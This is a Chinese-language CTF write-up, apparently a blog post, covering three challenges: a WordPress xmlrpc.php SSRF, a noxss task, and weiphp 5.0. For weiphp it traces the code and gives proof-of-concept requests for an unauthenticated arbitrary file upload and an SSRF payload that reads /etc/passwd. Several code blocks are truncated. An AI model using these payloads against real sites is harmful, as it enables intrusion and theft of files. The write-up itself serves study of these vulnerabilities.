前言
看ROIS发的final wp,真的tql
babypress
wordpress xmlrpc.php ssrf
?rsd=1
获取 Host
1 | POST /xmlrpc.php HTTP/1.1 |
noxss
下载最新的docker-compose
curl -L https://github.com/docker/compose/releases/download/1.25.1-rc1/docker-compose-`uname -s-
uname -m` -o /usr/local/bin/docker-compose>
chmod +x /usr/local/bin/docker-compose
weiphp
Arbitrary File Upload
command.php
function *upload_files($setting = *‘’, $driver = ‘’, $config = ‘’, $type = ‘picture’, $isTest = false)
在application搜这个函数有没被用到
先看
/home/model/FIle.php
/home/model/Picture.php
都类似这样
1 |
|
他们给File & Picture模块写的方法,都有上传,
先看一下这些模块方法又是怎么被调用的
common.php里面有个 D
函数
1 | function D($name = '', $layer = 'model') |
model 函数在thinkphp\helper.php
1 | if (!function_exists('model')) { |
D用来返回模块
D(‘home/File’) 就是使用home/model/File.php 这个模块文件
搜一下能在home/controller/File.php里的upload方法找到
调用一下
/home/file/upload
需要登录
还有一个
不需要登录,直接传到根目录
一直没懂上传表单的文件参数要是啥
1 | (isset($info['download']['msg']) && empty($info['download']['msg']))) |
注意到这里 $info['download']
,$info是$return , $redata[$key] = $return,$key就是表单中上传文件的参数name,要想进入上传成功,$info[‘download’]要存在,所以表单中name=’download’
poc:
1 | POST /weiphp5.0/public/index.php/home/file/upload_root HTTP/1.1 |
CSRF
application/common/controller/Base.php
跟进 post_data
common.php
1 | // 以POST方式提交数据 |
找一下谁继承了Base
可以找到
class User extends Home -> class Home extends WebBase -> class WebBase extends Base
那么直接模块为User 执行post_data方法
payload
public/index.php/home/user/post_data?url=file:///etc/passwd¶m=&type=file